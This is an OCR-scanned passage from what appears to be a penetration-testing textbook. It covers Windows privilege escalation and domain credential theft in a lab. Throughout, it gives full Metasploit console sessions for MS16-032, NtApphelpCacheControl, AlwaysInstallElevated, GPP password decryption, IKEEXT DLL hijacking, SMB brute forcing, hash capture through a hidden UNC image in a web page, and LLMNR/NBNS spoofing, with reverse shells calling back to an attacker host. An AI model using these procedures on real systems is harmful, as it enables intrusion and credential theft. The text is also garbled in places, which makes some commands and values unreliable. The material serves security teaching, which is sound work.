payload => windows/x64/meterpreter/reverse tcp

msf exploit(ms16_032_ secondary logon handle privesc) > set lhost 10.0.2.2

lhost => 10.0.2.2

msf exploit(ms16 032 _secondary logon_handle privesc) > set session 1

session => 1

When the exploit is run, the attacker is presented with a second, SYSTEM shell.
msf exploit(ms16_032_secondary logon_handle privesc) > exploit

[*] Started reverse TCP handler on 10.0.2.2:4444

[*] Writing payload file, C:\Users\jhaydn\Desktop\sQzPjpvi.txt...

[*] Compressing script contents...

[+] Compressed size: 3584

[*] Executing exploit script...

[*] Sending stage (1189423 bytes) to 10.0.15.206

[*] Meterpreter session 2 opened (10.0.2.2:4444 -> 10.0.15.206:49646) at 2017-06-01
22:03:58 -0400

[+] Cleaned up C:\Users\jhaydn\Desktop\sQzPjpvi.txt

The exploit drops and removes a file from the Desktop, which is noticeable by a watching
defender. The exploit takes a moment or two to complete; there is a noticeable delay from the
time the session is opened until the cleanup process completes and the dropped file is deleted.
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Example: Windows 8.1 and NtApphelpCacheControl

As another example, suppose that an unprivileged user (not an administrator) on a 32-bit
Windows 8.1 system runs malware that allows for a Meterpreter session back to an attacker.!

meterpreter > sysinfo

Computer : ULYSSES

0S : Windows 8.1 (Build 9600).
Architecture : x86

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

meterpreter > getuid
Server username: ulysses\G.H. Hardy

With the session, the attacker then loads the MS15-001 Microsoft Windows
NtApphelpCacheControl Improper Authorization Check attack.

msf exploit(handler) > use exploit/windows/local/ntapphelpcachecontrol
msf exploit(ntapphelpcachecontrol) > info

... Output Deleted ...

Available targets:
Id Name

0 Windows 8 / Windows 8.1 (x86 and x64)

Basic options:
Name Current Setting Required Description

SESSION yes The session to run this module on.

Payload information:
Space: 4096

Description:
On Windows, the system call NtApphelpCacheControl (the code is
actually in ahcache.sys) allows application compatibility data to be
cached for quick reuse when new processes are created. A normal user
can query the cache but cannot add new cached entries as the

'Note that this example system is not connected to a domain.
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operation is restricted to administrators. This is checked in the
function AhcVerifyAdminContext. This function has a vulnerability
where it doesn't correctly check the impersonation token of the
caller to determine if the user is an administrator. It reads the
caller's impersonation token using PsReferenceImpersonationToken and
then does a comparison between the user SID in the token to
LocalSystem's SID. It doesn't check the impersonation level of the
token so it's possible to get an identify token on your thread from
a local system process and bypass this check. This module currently
only affects Windows 8 and Windows 8.1, and requires access to
C:\Windows\System\ComputerDefaults.exe (although this can be
improved).

... Output Deleted ...

The attacker selects the session and configures a payload. When the exploit launches, a
second session is returned.

msf exploit(ntapphelpcachecontrol) > set session 1

session => 1

msf exploit(ntapphelpcachecontrol) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(ntapphelpcachecontrol) > set lhost 172.16.30.3

lhost => 172.16.30.3

msf exploit(ntapphelpcachecontrol) > set lport 44445

lport => 44445

msf exploit(ntapphelpcachecontrol) > xun

Creating thread

Sending stage (957487 bytes) to 172.16.30.10

*] Meterpreter session 2 opened (172.16.30.3:44445 -> 172.16.30.10:49238) at
2017-04-29 20:14:32 -0400

[*] Started reverse TCP handler on 172.16.30.3:44445

[*] Uploading the payload DLL

[*] Payload DLL will be: C:\Users\GHOD65~1.HAR\AppData\Local\Temp\HrmNBf.d11
[*] Injecting exploit into PID 4056

[*]

[*]

[

meterpreter > getuid
Server username: ulysses\G.H. Hardy

A check of the shell shows that it is running with high integrity.

meterpreter > shell
Process 2472 created.
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Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /groups /fo list
whoami /groups /fo list

GROUP INFORMATION

... Output Deleted ...

Group Name: Mandatory Label\High Mandatory Level

Type: Label
SID: S-1-16-12288
Attributes:

The command getsystemis sufficient to obtain a shell as system.

C:\Windows\system32>Z

Background channel 1? [y/N] y

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Exploiting Insecure Configuration

An attacker may be faced with a system that is not vulnerable to any of these privilege escalation
techniques; perhaps the system is fully patched, or perhaps the system is so new (Windows 10-
1607) that no public privilege escalation exploits are known. The next target for escalation is the
configuration of the system.

One target for exploitation are services that are already running as SYSTEM. If the path to the
service contains spaces and the path is not properly quoted, then the module exploit/windows/
local/trusted service path canbe used to escalate privileges. Indeed, suppose the service
runs the program c:\Program Files\Service\binary.exe (without quotes). Then the Windows
API will begin by searching for C: \Program. exe; if it exists, then it will be run (as SYSTEM).

Another target is to look for services with insecure permissions; these can be exploited with
the module exploit/windows/local/service permissions
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Always Install Elevated

A domain administrator may have configured the domain so that Windows Installers always run
with elevated privileges. This allows users to install software on a local system without needing
the intervention of an administrator with higher privileges. This can be enabled in group policy;
to do so, the administrator first navigates Computer Configuration » Policies » Administrative
Templates » Windows Components » Windows Installer, then enables the setting “Always
install with elevated privileges.” The administrator makes the corresponding change for users,
navigating User Configuration » Policies » Administrative Templates » Windows Components
» Windows Installer, and enabling the setting “Always install with elevated privileges.” The
resulting policy needs to be applied to both users and to computers to take effect.

The policy setting in group policy contains the following warning: “Caution: Skilled users can
take advantage of the permissions this policy setting grants to change their privileges and gain
permanent access to restricted files and folders. Note that the User Configuration version of this
policy setting is not guaranteed to be secure.”

This configuration is stored in the registry on the system and can be queried by an attacker.
There are two keys: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
and HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer.If this feature is
enabled, then these keys have the value AlwaysInstallEleveated set to the DWORD 1.

If this is enabled, an attacker can escalate privileges using the module exploit/windows/
local/always_install elevated. As an example, suppose that an attacker has a Meterpreter
session as an unprivileged user on a Windows 10-1607 system. The attacker can use the
Metasploit command reg to query the registry on the target.

meterpreter > sysinfo

Computer : CORADINI

0S : Windows 10 (Build 14393).
Architecture 1 x64

System Language : en_US

Domain : PLUTO

Logged On Users : 4

Meterpreter : x86/windows

meterpreter > getuid

Server username: PLUTO\cdebussy

meterpreter > reg queryval -v AlwaysInstallElevated

-k HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer
Key: HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Name: AlwaysInstallElevated

Type: REG_DWORD

Data: 1
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The attacker loads the module; all that needs to be specified are the session and the payload.

msf exploit(handler) > use exploit/windows/local/always_install_elevated

msf exploit(always install elevated) > set session 1

session => 1

msf exploit(always_install elevated) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse tcp

msf exploit(always_install elevated) > set lhost 10.0.2.2

lhost => 10.0.2.2

msf exploit(always_install elevated) > exploit

[*] Started reverse TCP handler on 10.0.2.2:4444

[*] Uploading the MSI to C:\Users\cdebussy\AppData\Local\Temp\uEtZITk.msi ...

[*] Executing MSI...

[*] Sending stage (957487 bytes) to 10.0.15.203

[*] Meterpreter session 2 opened (10.0.2.2:4444 -> 10.0.15.203:55647) at 2017-04-30
12:13:25 -0400

[+] Deleted C:\Users\cdebussy\AppData\Local\Temp\uEtZITk.msi

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Local Administrator Password

Prior to MS14-025, Microsoft allowed administrators to set the password for a system’s local
administrator through group policy. This would allow the administrator to use a local account
rather than a domain administrator account to perform actions on systems. To set the password
on Windows Server 2008 R2, 2012, or 2012 R2, from the group policy management editor, navigate
Computer Configuration» Preferences » Control Panel Settings » Local Users and Groups.
Right-click to select New » Local User. For the action, select Update and for the User name

select Administrator (built-in) (Figure 8-5). Update the password and apply the policy. Windows
Server 2012 R2 warns the user, “This password is stored as part of the GPO in SYSVOL and is
discoverable, although obscured.”
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Administrator (built-in) Properties =]

g Acton:  [update vl
User name: [ Administrator (buit-in) v][=]
Rename to: [ |
Full name: | |
Description: [ |
Password: I sesesnee |

|

Confirm Password: I sesssene

[]user must change password at next logon
["Juser cannot change password
[]Password never expires

[[] Account is disabled

[ Account never expires

ccount expires: | 4/30/2017 [@

Figure 8-5. Setting the password on the local administrator account through group policy. Shown
on Windows Server 2012 R2.

To discover this password, an unprivileged user can navigate to the shared directory
\\domainname\sysvol\fulldomainname\Policies. As an example, if the domain neptune has the
FQDN neptune.test, the unprivileged user would navigate to \\neptune\sysvol\neptune.test\
Policies. That directory contains subdirectories with various configuration files. The key file is
named Groups.xml; there may be more than one file with that name in various subdirectories. The
contents of such a file may have content like

<?xml version="1.0" encoding="utf-8"?>

<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F18
55-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2"

changed="2017-04-30 22:28:42" uid="{65CE4801-FDEF-4F5D-A010-3D0B260E2822}">
<Properties action="U" newName="" fullName="" description="" cpassword="VPe
/09YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVgxaE" changelogon="0" noChange="0" never
Expires="0" acctDisabled="0" subAuthority="RID ADMIN" userName="Administra

tor (built-in)"/></User>

</Groups>

This file contains information about the built-in Administrator account, including when it
was changed, whether it needs to be changed on logon, whether it is disabled, and whether the
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password can expire. Most importantly, it also contains the field cpassword, which contains the
encrypted (not hashed) password. This is the password after being encrypted using AES; the
32-bit key is a known public constant.?

The Metasploit module post/windows/gather/credentials/gpp can be used to determine
the cpassword value and decrypt it. As an example, suppose that the attacker has compromised a
Windows 8.1 host and has an unprivileged shell. The attacker configures the module, giving it
the unprivileged session, then runs it. The attacker is presented with the local administrator
password in plain text.

msf exploit(handler) > use post/windows/gather/credentials/gpp
msf post(gpp) > options

Module options (post/windows/gather/credentials/gpp):

Name Current Setting Required Description

ALL true no Enumerate all domains on network.

DOMAINS no Enumerate list of space seperated
domains DOMAINS="dom1 dom2".

SESSION yes The session to run this module on.

STORE true no Store the enumerated files in loot.

msf post(gpp) > set session 1
session => 1
msf post(gpp) > exploit

[*] Checking for group policy history objects...
[+] Cached Group Policy folder found locally

. Output Deleted ...

] Searching for Policy Share on VOYAGER2.NEPTUNE.TEST...

] Found Policy Share on VOYAGER2.NEPTUNE.TEST

] Searching for Group Policy XML Files...

*] Parsing file: C:\ProgramData\Microsoft\Group Policy\History\{DA387579-C49A-
4155-A43B-7D1F41797B5F }\MACHINE\Preferences\Groups\Groups.xml ...

[+]

Group Policy Credential Info

TYPE Groups.xml

*The key is 4e 99 06 e8 fc b6 6¢ c9 fa f4 93 10 62 0f fe €8 f4 96 8 06 cc 05 79 90 20 9b 09 a4 33 b6 6¢ 1b and is
available from Microsoft at https://msdn.microsoft.com/en-us/library/Cc422924.aspx.
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USERNAME Administrator (built-in)
PASSWORD Password1

DOMAIN CONTROLLER Microsoft

DOMAIN History

CHANGED 2017-04-30 22:10:24
NEVER _EXPIRES? 0

DISABLED 0

[*] XML file saved to: /root/.msf4/loot/20170430185327 default 10.0.7.201_windows.
gpp.xml:249704.txt

... Output Deleted ...

[*] Post module execution completed

.dll Hijacking of IKEEXT

When a Windows program tries to load a .d11 file, it first searches in the directory from which the
application loaded. If the .d11 is not in that location, Windows searches through a collection of
locations, the precise order of which depends on the version of Windows, its patch level, and its
configuration. A . d11 hijacking attack is one where the attacker places a malicious .d11 in the system
in a place where it would be loaded before the legitimate .d11.

On a Windows 7 SP1 system, the service IKEEXT runs as SYSTEM and starts automatically
on boot. Moreover, that service loads ikeext.dll while ikeext.d11 loads the file wlbsctrl.d1l.
The catch is that wlbsctrl.dll does not exist on the system. If an attacker writes a malicious .d11
named wlbsctrl.dll and places it in a location that Windows searches for .d11 files, it will be
executed and run as SYSTEM. Further, one of the locations that Windows searches for . d11 files
is determined by the system’s PATH variable. If the attacker can write to a location in the PATH,
they can place their malicious .d11 in that directory and obtain a SYSTEM shell when the system
reboots.

As an example, suppose that on a vulnerable 64-bit Windows 7 SP1 system, the directory C:\
Path is included in the PATH variable. The value of the PATH variable can be determined from the
command line by running the command:

C:\Users\advorak>echo %PATH%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\
WindowsPowerShell\vi1.0\;c:\Path

The PATH variable can also be viewed (and changed) by navigating to My Computer, right-
clicking, then selecting Advanced System Settings. From the Advanced tab, choose Environment
Variables to see and edit the current settings.
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The attacker selects exploit/windows/local/ikeext_service and then specifies a payload,
the session, and a directory C: \Path found within the PATH variable on the target.?

msf exploit(ikeext_service) > set session 1
session => 1

msf exploit(ikeext_service) > set dir c:\\path
dir => c:\path

. Payload Configuration Omitted ...
msf exploit(ikeext service) > options

Module options (exploit/windows/local/ikeext service):

Name Setting Required Description
DIR c:\path no Specify a directory to plant the DLL.
SESSION 1 yes The session to run this module on.

Payload options (windows/x64/meterpreter/reverse tcp):

Name Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)

LHOST 10.0.2.2 yes The listen address

LPORT 5555 yes The listen port

Exploit target:

Id Name

1 Windows x64

The attacker runs the exploit, then either waits for the system to reboot, or uses the reboot
command from their session to force the reboot.

msf exploit(ikeext service) > exploit -j
*] Exploit running as background job.

[
[*] Started reverse TCP handler on 10.0.2.2:5555

[*] Checking service exists...

[!] UAC is enabled, may get false negatives on writable folders.
[

Writing 5120 bytes to c:\path\wlbsctrl.dll...

*

—_

Be sure to use double backslashes when setting the Metasploit PATH variable.
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[*] Launching service IKEEXT...
[*] Unable to start service, handler running waiting for a reboot..

msf exploit(ikeext_service) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > reboot

Rebooting...

meterpreter >

[*] 10.0.15.210 - Meterpreter session 1 closed. Reason: Died

When the system reboots, the attacker has a SYSTEM shell.*

[*] Sending stage (1189423 bytes) to 10.0.15.210

[*] Meterpreter session 2 opened (10.0.2.2:5555 -> 10.0.15.210:49157) at 2017-05-04
22:28:19 -0400

[!] This exploit may require manual cleanup of 'c:\path\wlbsctrl.dll' on the target
msf exploit(ikeext service) > sessions -i 2

[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Obtaining Domain Credentials

Access to a single Windows computer, even as SYSTEM, does not provide access to the wider
Windows domain. That requires authenticating to a domain controller, which has not yet been
done.

Network Attacks

An attacker who has not yet been able to obtain a shell on a domain member is in a difficult
position. However, if the attacker can access the domain’s network, there are some options.

Brute Force Attacks

The simplest such attack is a brute force attack against a domain account. Multiple failed logins
on a domain account usually cause the offending user to be locked out of the account for a set
period; however, domain administrator accounts are usually not protected in this fashion. This is
set by group policy and can be modified. This approach is necessarily slow and noticeable by the
defender.

“This shell may not be entirely stable and may prevent legitimate users from logging in to the system.
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To perform the attack, start the module auxiliary/scanner/smb/smb_login.

msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > info

... Output Deleted ...

Basic options:
Name

AéééT_ON_LOCKOUT
BLANK_PASSWORDS
BRUTEFORCE_SPEED
DB ALL CREDS
DB_ALL_PASS
DB_ALL_USERS
DETECT_ANY_AUTH
PASS FILE
PRESERVE_DOMAINS
Proxies
RECORD_GUEST

RHOSTS

RPORT
SMBDomain

SMBPass

SMBUser
STOP_ON_SUCCESS

THREADS

Setting

true

false

445

false

Required Description

no

no

no

no

no

no

no

yes

yes
no

no

no
yes

yes

Abort the run when an account
lockout is detected

Try blank passwords for all users
How fast to bruteforce, from 0 to 5

Try each user/password couple stored

in the current database

Add all passwords in the current
database to the list

Add all users in the current
database to the list

Enable detection of systems
accepting any authentication
File containing passwords, one per
line

Respect a username that contains a
domain name.

A proxy chain of format
type:host:port[,...]

Record guest-privileged random
logins to the database

The target address range or CIDR
identifier

The SMB service port (TCP)

The Windows domain to use for
authentication

The password for the specified
username

The username to authenticate as
Stop guessing when a credential
works for a host

The number of concurrent threads
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USERPASS FILE no File containing users and passwords
separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for
all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Description:

This module will test a SMB login on a range of machines and report
successful logins. If you have loaded a database plugin and
connected to a database this module will record successful logins
and hosts so you can track your access.

Choose the password file; because of the slow speed of this attack, a large password file
might be problematic. The file /usr/share/wordlists/metasploit/password.lst is smaller,
with just 88,936 passwords.® Configure the other options; the location of the domain controller
(10.0.15.200), the domain name (PLUTO), the user name (jbach, known to be a domain
administrator). There is no need to print the many (many) failures to the screen, so the verbose
option is set to false. Because this is occurring on a local network, a certain amount of parallel
processing is in order, and the attack runs with five threads.

msf auxiliary(smb_login) > set pass_file /usr/share/wordlists/metasploit/password_
ascii.lst

pass_file => /usr/share/wordlists/metasploit/password ascii.lst
msf auxiliary(smb_login) > set smbdomain PLUTO

smbdomain => PLUTO

msf auxiliary(smb_login) > set smbuser jbach

smbuser => jbach

msf auxiliary(smb_login) > set rhosts 10.0.15.200

rhosts => 10.0.15.200

msf auxiliary(smb_login) > set threads 5

threads => 5

msf auxiliary(smb_login) > set verbose false

verbose => false

msf auxiliary(smb_login) > exploit

SThe file /usr/share/wordlists/metasploit/password.1st contains non-ASCII characters that can cause
the script to fail. One approach is to convert the file to ASCII characters with the command cat password.
1st | iconv -f IS0-8859-1 -t ASCII//TRANSLIT > password ascii.lst. Italso does not contain the
default password used in these examples (password1!), so this has been appended to the list.
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[+] 10.0.15.200:445 - SMB - Success: 'PLUTO\jbach:passwordi!' Administrator
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

This is a slow process; this example took roughly 30 minutes to work through the 88,396
passwords giving a rate of roughly 50 attempts per second. This is for a pair of virtual machines
located on the same physical host; remote attacks across a network are likely to be slower still.

Network Hash Capturing

Another approach available to the attacker is to convince a domain member to provide their
hashes. In the first step in the process, the attacker sets up a listener using auxiliary/server/
capture/smb. When any user, including a domain administrator uses SMB to authenticate to
the attacker’s system, this module captures and records the result.

mst > use auxiliary/server/capture/smb
msf auxiliary(smb) > info

... Output Deleted ...

Basic options:

Name Current Setting Required Description

CAINPWFILE no The local filename to store the
hashes in Cain&Abel format

CHALLENGE  1122334455667788 yes The 8 byte challenge

JOHNPWFILE no The prefix to the local filename
to store the hashes in JOHN format

SRVHOST 0.0.0.0 yes The local host to listen on. This

must be an address on the local
machine or 0.0.0.0

SRVPORT 445 yes The local port to listen on.

SSL false no Negotiate SSL for incoming
connections

SSLCert no Path to a custom SSL certificate
(default is randomly generated)

SSLVersion SSL3 no Specify the version of SSL that

should be used (accepted: SSL2,
SSL3, TLS1)

Description:
This module provides a SMB service that can be used to capture the
challenge-response password hashes of SMB client systems. Responses
sent by this service have by default the configurable challenge
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string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy
cracking using Cain & Abel, Lophtcrack or John the ripper (with
jumbo patch). To exploit this, the target system must try to
authenticate to this module. The easiest way to force a SMB
authentication attempt is by embedding a UNC path (\\SERVER\SHARE)
into a web page or email message. When the victim views the web page
or email, their system will automatically connect to the server
specified in the UNC share (the IP address of the system running
this module) and attempt to authenticate.

When a user authenticates via SMB, the user’s system does not directly send the password
hash; instead it uses a challenge-response process. This prevents someone sniffing the traffic
from being able to use the hashes in a replay attack. However, the server determines the
challenge, and this module uses a hard-coded challenge. As will be shown, knowledge of the
challenge and response is sufficient to allow the attacker to attack the provided hashes.

To start the listener, provide a name for the John password file.

msf auxiliary(smb) > set johnpwfile /root/Desktop/winhash
johnpwfile => capture_smb

msf auxiliary(smb) > exploit

[*] Auxiliary module execution completed

msf auxiliary(smb) >

[*] Server started.

The attacker next needs to find a way to convince a domain user or administrator to attempt
to authenticate to the attacker’s system. One approach is to create a specially crafted web page,
say Listing 8-1.

Listing 8-1. Contents of index.html

<!DOCTYPE html>

<html>

<body>

<p>This is a kind message, full of happiness and joy!</p>
<img src="\\10.0.2.2\unicorns.jpg" width=0 height=0>
</body>

</html>

The key here is that the image is located on a Windows file share. A user running Internet
Explorer visiting the web page automatically attempts to access the share, providing credentials
in the process. The address of the image 10.0.2.2 is the same as the attacker’s system; whether the
file exists or not is irrelevant. Because the image size is set to zero, the user does not see anything
out of the ordinary on the web page.
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The process of building web servers is covered later in the text (Chapters 14 and 15), but that
level of complexity is not needed here. Save the file in a convenient directory on the Kali system,
say /root/web/index.html. Then from within that directory run the following.

root@kali:~/web# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

This uses Python to launch a simple web server serving documents in that directory on port
8000. If a user visits the web page http://10.0.2.2:8000, they are served the web page index.html.
Once a Windows user visits this web page with Internet Explorer, the challenge-response

process begins, and the hashes are captured.

msf auxiliary(smb) > [*] SMB Captured - 2017-05-27 20:07:56 -0400
NTLMv2 Response Captured from 10.0.15.204:56872 - 10.0.15.204
USER:wmozart DOMAIN:PLUTO 0S: LM:

LMHASH:Disabled

LM _CLIENT CHALLENGE:Disabled
NTHASH:09de6294ebc9c281b639c4b960736cf0

NT_CLIENT CHALLENGE:0101000000000000a6cc947546d7d201df9de5e7b4a
b53900000000020000000000000000000000

[*] SMB Captured - 2017-05-27 20:07:56 -0400

NTLMv2 Response Captured from 10.0.15.204:56872 - 10.0.15.204
USER:wmozart DOMAIN:PLUTO 0S: LM:

LMHASH:Disabled

LM _CLIENT CHALLENGE:Disabled
NTHASH:bb71daablasaf48eas2edbae44a8190d
NT_CLIENT_CHALLENGE:0101000000000000036abd7546d7d2015940e7cdcf2b6
9a000000000020000000000000000000000

Because these hashes were sent in NetNTLMv2 format, the result is stored in the file /root/
Desktop/winhash_netntlmv2. Notice that this is slightly different than the name of the file
specified when the module was launched; this is to account for the hash type.

The captured hashes can be examined.

root@kali-2016-2-u:~# head -n2 /root/Desktop/winhash_netntlmv2

wmozart: :PLUT0:1122334455667788:09de6294ebc9c28tb639c4b960736cf0:0101000000000000a
6cc947546d7d201df9de5e7b4ath53900000000020000000000000000000000
wmozart::PLUT0:1122334455667788:bb71daablajaf48eas2edbaes4a8190d:01010000000000000
36abd7546d7d2015940e7cdcf2b69a000000000020000000000000000000000

Even though only one user attempted to connect to the web page, more than one copy of the
password hash is collected.
The collected credentials are also stored in the database and can be viewed with the creds
command.
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LLMNR Poisoning and NBNS Poisoning

Suppose that a user on a Windows domain makes a request for a remote file share that does not
exist. The first thing the system does is make a DNS request to determine the IP address for the
remote server. Since in this example the resource does not exist, the request to the DNS server will
fail. In that case, Windows systems beginning with Windows Vista and Windows Server 2008 fall
back to LLMNR - Link-Local Multicast Name Resolution. They will make a request on UDP/5355
to the multicast IPv4 address 224.0.0.252 with the MAC address 01:00:5E:00:00:FC and will
make a second request on UDP/5355 to the multicast IPv6 address FF02::1:3 with MAC address
33:33:00:01:00:03. These queries ask all listeners for the IP address of the looked-for server. A system
whose name matches the request can reply. In addition, the servers will also issue a NetBIOS
broadcast query for the IP address of the looked-for server; this request is made using UDP/137.

As an example of this process, here are (some of) the transmitted packets when a user on
the host 10.0.15.203 accidentally tries to access the file share \\bob. Packets 105 and 106 show
the request made to the DNS server (at 10.0.15.200) and the response saying that there is no such
host. Packet 107 is the NetBIOS name request, made to the local broadcast address 10.0.255.255,
packet 116 follows up. Also seen are packets 108-115, which show the requests made on
UDP/5355 on both the IPv4 multicast address 224.0.0.252 and the IPv6 multicast address ff02::1:3.

Packet Source IP Dest. IP Src. Port Dest. Port
105 10.0.15.203 10.0.15.200 53373 53

DNS Standard query 0x86b2 A bob.pluto.test
106 10.0.15.200 10.0.15.203 53 53373

DNS Standard query response 0x86b2 No such name A bob.pluto.test SOA
oort.pluto.test

107 10.0.15.203 10.0.255.255 137 137
NBNS Name query NB BOB<20>

108 fe80::fc8c:2219:45e0:d6eb ff02::1:3 62602 5355
LLMNR Standard query 0x5bcO A bob

109 10.0.15.203 224.0.0.252 62602 5355
LLMNR Standard query 0x5bcO A bob

110 fe80::fc8c:2219:45e0:d6eb ff02::1:3 58213 5355
LLMNR Standard query Oxcef8 AAAA bob

111 10.0.15.203 224.0.0.252 58213 5355
LLMNR Standard query Oxcef8 AAAA bob

112 fe80::fc8c:2219:45e0:d6eb ff02::1:3 58213 5355
LLMNR Standard query Oxcef8 AAAA bob

113 fe80::fc8c:2219:45e0:d6eb ff02::1:3 62602 5355
LLMNR Standard query 0x5bcO A bob

114 10.0.15.203 224.0.0.252 58213 5355

LLMNR Standard query Oxcef8 AAAA bob
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115 10.0.15.203 224.0.0.252 62602 5355
LLMNR Standard query 0x5bcO A bob
116 10.0.15.203 10.0.255.255 137 137

NBNS Name query NB BOB<20>

The vulnerability here is that the system trusts the responses of the various broadcasts. If an
attacker has an address on the local network with these systems, they can respond to these LLMNR
requests. The target would then use the provided address and attempt to authenticate using their
password hashes. To demonstrate the attack, start by configuring the module auxiliary/server/
capture/smb in the same fashion as before.

msf > use auxiliary/server/capture/smb

msf auxiliary(smb) > set johnpwfile /root/Desktop/results
johnpwfile => /root/Desktop/results

msf auxiliary(smb) > exploit

[*] Server started.

To start spoofing the LLMNR responses, load the module auxiliary/spoof/1lmnx/1lmnxr_
response; to configure it, the attacker specifies the IP address that should be provided whenever a
LLMNR request is received. This should be the same IP address as the system that is capturing the
SMB hashes (and can be the same as the address of the system running the spoofer).

msf auxiliary(smb) > use auxiliary/spoof/llmnr/llmnr_response
msf auxiliary(llmnr_response) > info

... Output Deleted ...

Available actions:
Name Description

Service

Basic options:

Name Setting Required Description

INTERFACE no The name of the interface

REGEX JE yes Regex applied to the LLMNR Name to
determine if spoofed reply is sent

SPOOFIP yes IP address with which to poison responses

TIMEOUT 500 yes The number of seconds to wait for new data

TTL 30 no Time To Live for the spoofed response

Description:

LLMNR (Link-local Multicast Name Resolution) is the successor of
NetBIOS (Windows Vista and up) and is used to resolve the names of
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neighboring computers. This module forges LLMNR responses by
listening for LLMNR requests sent to the LLMNR multicast address
(224.0.0.252) and responding with a user-defined spoofed IP address.

... Output Deleted ...

msf auxiliary(llmnr_response) > set spoofip 10.0.2.2
spoofip => 10.0.2.2

msf auxiliary(1llmnr_response) > exploit

[*] Auxiliary module execution completed

[*] LLMNR Spoofer started. Listening for LLMNR requests with REGEX "(?-mix:.*)" ...

The defender makes a LLMNR request whenever they request a resource that does not exist.
In this case the attacker’s system will respond with the IP address of the SMB capture server, and
the hashes will be collected.

[+] 10.0.15.205 llmnr - error. matches regex, responding with 10.0.2.2
[*] SMB Captured - 2017-05-20 18:15:07 -0400

NTLMv2 Response Captured from 10.0.15.205:60718 - 10.0.15.205
USER:jhaydn DOMAIN:PLUTO 0S: LM:

LMHASH:Disabled

LM _CLIENT CHALLENGE:Disabled
NTHASH:181863ec788268blae4b12a6f1c25610

NT_CLIENT CHALLENGE:0101000000000000cdda358ab6d1d2019d3a059759507b
et00000000020000000000000000000000

[*] SMB Captured - 2017-05-20 18:15:08 -0400

NTLMv2 Response Captured from 10.0.15.205:60718 - 10.0.15.205
USER:jhaydn DOMAIN:PLUTO OS: LM:

LMHASH:Disabled

LM CLIENT CHALLENGE:Disabled
NTHASH:5689b837f3d8ee93ecc60ff410e0b309

NT_CLIENT CHALLENGE:01010000000000006T47578ab6d1d201983f8ec299d2c
0a300000000020000000000000000000000

The resulting hashes are stored in the specified file and in the database in the same fashion as
Windows hash capturing.

Instead of spoofing the LLMNR requests, the attacker could also spoof the NetBIOS Name
Service (NBNS) responses. The attack proceeds in the same fashion and begins by starting the
SMB capture module auxiliary/server/capture/smb. Then, the module auxiliary/spoof/
nbns/nbns_response is configured and launched. When the target mis-types the name of a
resource and a NBNS request is made, the attacker receives the hashes.
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msf auxiliary(smb) > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set spoofip 10.0.2.2

spoofip => 10.0.2.2

msf auxiliary(nbns_response) > exploit

[*] Auxiliary module execution completed

[*] NBNS Spoofer started. Listening for NBNS requests with REGEX ".*" ...
[+] 10.0.15.204 nbns - BILL matches regex, responding with 10.0.2.2
[*] SMB Captured - 2017-05-20 20:13:36 -0400

NTLMv2 Response Captured from 10.0.15.204:53758 - 10.0.15.204

USER:jbach DOMAIN:PLUTO 0S: LM:

LMHASH:Disabled

LM CLIENT CHALLENGE:Disabled

NTHASH:d73c653fddblee55d1ff73534fccasct

NT_CLIENT CHALLENGE:0101000000000000b3d71417c7d1d201188d8c753e8fe5
ce00000000020000000000000000000000

WPAD and Responder

Windows systems use the web proxy auto-discovery (WPAD) protocol to determine if the
system should use a web proxy. If the location of the proxy server is provided by the system’s
DHCP server, it will be used. If not, then the system will query its DNS server for the location

of the WPAD server; if this fails, a Windows system will fall back to Link-Local Multicast Name
Resolution, and to NetBIOS name resolution. As an example of the process, here are some of the
packets transmitted by a Windows 10-1504 on the domain system as it boots.

Packet Source IP Dest. IP Src. Port Dest. Port
749 10.0.15.205 10.0.15.200 62643 53

DNS Standard query 0x57e4 A wpad.pluto.test
750 10.0.15.200 10.0.15.205 53 62643

DNS Standard query response 0x57e4 No such name A wpad.pluto.test SOA
oort.pluto.test DNS

751 10.0.15.205 10.0.255.255 137 137
NBNS Name query NB WPAD<00>

752 fe80::18b6:f06:de05:b1d ff02::1:3 53711 5355
LLMNR Standard query Ox1bb9 A wpad

753 10.0.15.205 224.0.0.252 53711 5355
LLMNR Standard query Ox1bb9 A wpad

754 fe80::f8b6:f06:de05:b1d ff02::1:3 49825 5355
LLMNR Standard query Oxbi0b AAAA wpad

755 10.0.15.205 224.0.0.252 49825 5355

LLMNR Standard query Oxb10b AAAA wpad
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Packet 749 is the request to the DNS server for a server named wpad.pluto.test. Here the host
is named farinella.pluto.test and is located on the domain pluto.test with a domain controller and
DNS server at oort.pluto.test. Packet 750 is the response from the domain controller telling the
requestor that it has no DNS record for wpad.pluto.test. Packet 751 is a NetBIOS name request,
sent to the broadcast address 10.0.255.255 asking for the address of WPAD. This is followed by
LLMNR packets sent to the IPv4 and IPV6 multicast addresses 224.0.0.252 and ff01::1:3 making
IPv4 and IPv6 requests for the address of wpad

If the system has received patch MS16-077 (including Windows 10-1607), then the system
